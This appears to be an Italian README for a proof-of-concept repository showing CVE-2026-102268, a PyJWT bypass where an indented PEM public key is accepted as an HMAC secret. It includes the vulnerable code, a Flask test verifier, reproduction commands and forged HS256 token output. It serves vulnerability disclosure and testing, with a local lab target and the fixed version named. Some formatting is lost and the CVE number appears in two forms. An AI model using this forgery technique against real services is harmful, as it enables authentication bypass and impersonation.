
PoC di sfruttabilità per CVE-2026-102-268 (bypass del rilevamento Asymmetric-PEM di PyJWT).
Risultato dell'analisi di sfruttabilità: la causa principale è confermata e lo sfruttamento end-to-end è riproducibile. Una chiave pubblica PEM mutata con spazi bianchi aggira la protezione
is_pem_format()di PyJWT e viene accettata come segreto HMAC valido, consentendo la falsificazione completa di token HS256 contro qualsiasi verificatore che consentaRS256insieme aHS256. Vedere Analisi per i dettagli.
CVE-2026-102268 è una vulnerabilità di confusione di algoritmo in PyJWT. Prima di utilizzare qualsiasi chiave come segreto HMAC, HMACAlgorithm.prepare_key() chiama is_pem_format() per rifiutare le chiavi che sembrano una chiave asimmetrica o un certificato codificato in PEM — la difesa standard contro gli attacchi di confusione RS256/HS256.
is_pem_format() è una singola regex che richiede un'adiacenza esatta \r?\n tra il corpo della chiave e i marcatori BEGIN/END. Il loader PEM di cryptography non ha tale requisito. Un file PEM con spazi bianchi adiacenti ai marcatori, terminatori di riga solo CR, o ripiegato su una singola riga viene analizzato come una chiave perfettamente valida da cryptography.load_pem_public_key(), mentre is_pem_format() restituisce False sugli stessi identici byte.
La conseguenza: la protezione della chiave asimmetrica non scatta mai, la chiave pubblica viene accettata come segreto HMAC, e chiunque possieda quella chiave pubblica — che è pubblica per definizione — può coniare un token HS256 valido per qualsiasi verificatore che consenta sia RS256 che HS256.
Questo repository contiene un verificatore Flask minimale e una chiave di riproduzione per confermare tale affermazione end-to-end.
| Intervallo interessato | Corretto in |
|---|---|
| < 2.14.0 | 2.14.0 |
Il controllo vulnerabile in jwt/utils.py (tutte le versioni precedenti alla 2.14.0):
# jwt/utils.py — vulnerable
_PEM_RE = re.compile(
b"----[- ]BEGIN ("
+ b"|".join(_PEMS)
+ b""")[- ]----\r?
.+?\r?
----[- ]END \1[- ]----\r?\n?"""
)
def is_pem_format(key: bytes) -> bool:
return bool(_PEM_RE.search(key))
Il controllo che lo utilizza, in jwt/algorithms.py:
# jwt/algorithms.py — HMACAlgorithm.prepare_key()
if is_pem_format(key) or is_ssh_key(key):
raise InvalidKeyError(
"The specified key is an asymmetric key or x509 certificate and"
" should not be used as an HMAC secret."
)
I separatori [- ] della regex tollerano solo un singolo trattino o spazio direttamente adiacente ai trattini del marcatore. Qualsiasi altro spazio bianco posizionato tra la nuova riga finale del corpo della chiave e il marcatore END — un rientro, un \r vagante, una singola riga riformattata — fa fallire la corrispondenza, quindi is_pem_format() riporta False su un file che cryptography analizza senza problemi.
La correzione (commit 8b4e233, rilasciata nella 2.14.0) sostituisce la regex con uno scanner a passaggio singolo sull'insieme di marcatori BEGIN/END supportati che non dipende dall'adiacenza esatta delle nuove righe — chiudendo questo bypass e, nello stesso cambiamento, un ReDoS correlato nella stessa funzione (CVE-2026-102270).
public_key.pem in questo repository è una normale chiave pubblica RSA a 2048 bit con una modifica: la riga -----END PUBLIC KEY----- è rientrata di quattro spazi.
1wIDAQAB
-----END PUBLIC KEY-----
openssl rsa -pubin -in public_key.pem -text -noout # parses cleanly, no warning
L'esecuzione di utils.py conferma il bypass direttamente contro la libreria, indipendentemente dall'app Flask:
$ python utils.py
JWT encoded successfully: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9...
JWT decoded successfully: {'some': 'payload'}
jwt.encode(..., PUBLIC_KEY, algorithm="HS256") ha successo. Su una versione corretta di PyJWT (≥ 2.14.0), questa stessa chiamata solleva InvalidKeyError — is_pem_format() segnala correttamente il file come chiave PEM indipendentemente dal rientro, e il percorso HMAC lo rifiuta. Qui non accade: il rientro di quattro spazi è sufficiente per far mancare la corrispondenza alla regex, e i byte della chiave pubblica vengono accettati come un normale segreto HMAC.
app.py riproduce la precondizione del mondo reale — un verificatore la cui allow-list di algorithms mescola l'algoritmo asimmetrico e quello simmetrico:
decoded_payload = jwt.decode(token, key=PUBLIC_KEY, algorithms=["RS256", "HS256"])
Un token falsificato con l'approccio di utils.py, inviato a /verify, viene accettato: /verify restituisce 200 e le dichiarazioni falsificate, per un token che nessuno in possesso della chiave privata ha mai firmato.
cve-2026-102268-poc/
├── Dockerfile # Python 3.9-slim, installs PyJWT==2.4.0 (vulnerable)
├── podman-compose.yaml # Single-service compose for the verifier
├── requirements.txt # Flask, Werkzeug, PyJWT==2.4.0
├── app.py # Flask /verify route — algorithms=["RS256","HS256"]
├── utils.py # Standalone PoC: signs + verifies HS256 with PUBLIC_KEY
├── public_key.pem # RSA public key, END marker indented by 4 spaces
└── README.md
| Strumento | Versione | Note |
|---|---|---|
| Podman | ≥ 4.0 | Funziona anche Docker |
| Python | ≥ 3.9 | Solo per eseguire utils.py localmente |
| curl | qualsiasi | Per esercitare /verify direttamente |
podman-compose up -d
Attendere qualche secondo, poi confermare che il servizio sia attivo:
curl -si http://localhost:8080/verify -X POST \
-H 'Content-Type: application/json' -d '{}' | head -1
# Expected: HTTP/1.1 400 (missing token, but the service is reachable)
python utils.py
Questo firma {"some": "payload"} con public_key.pem usando HS256 e stampa il JWT risultante — la primitiva di falsificazione. Copiare il token codificato.
curl -s http://localhost:8080/verify \
-H 'Content-Type: application/json' \
-d '{"token": "<forged-jwt-here>"}'
podman-compose down
Ripetere il passaggio 2 con PyJWT>=2.14.0 installato al posto della versione bloccata 2.4.0 in requirements.txt. jwt.encode() solleva InvalidKeyError prima che venga mai prodotto un token.
============================================================
CVE-2026-102268 — PyJWT Asymmetric-PEM Detection Bypass PoC
============================================================
Key : public_key.pem (RSA public key, END marker indented)
Target : http://localhost:8080/verify
------------------------------------------------------------
[1] Signing forged token with PUBLIC_KEY as HS256 secret...
[+] JWT encoded successfully:
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzb21lIjoicGF5bG9hZCJ9...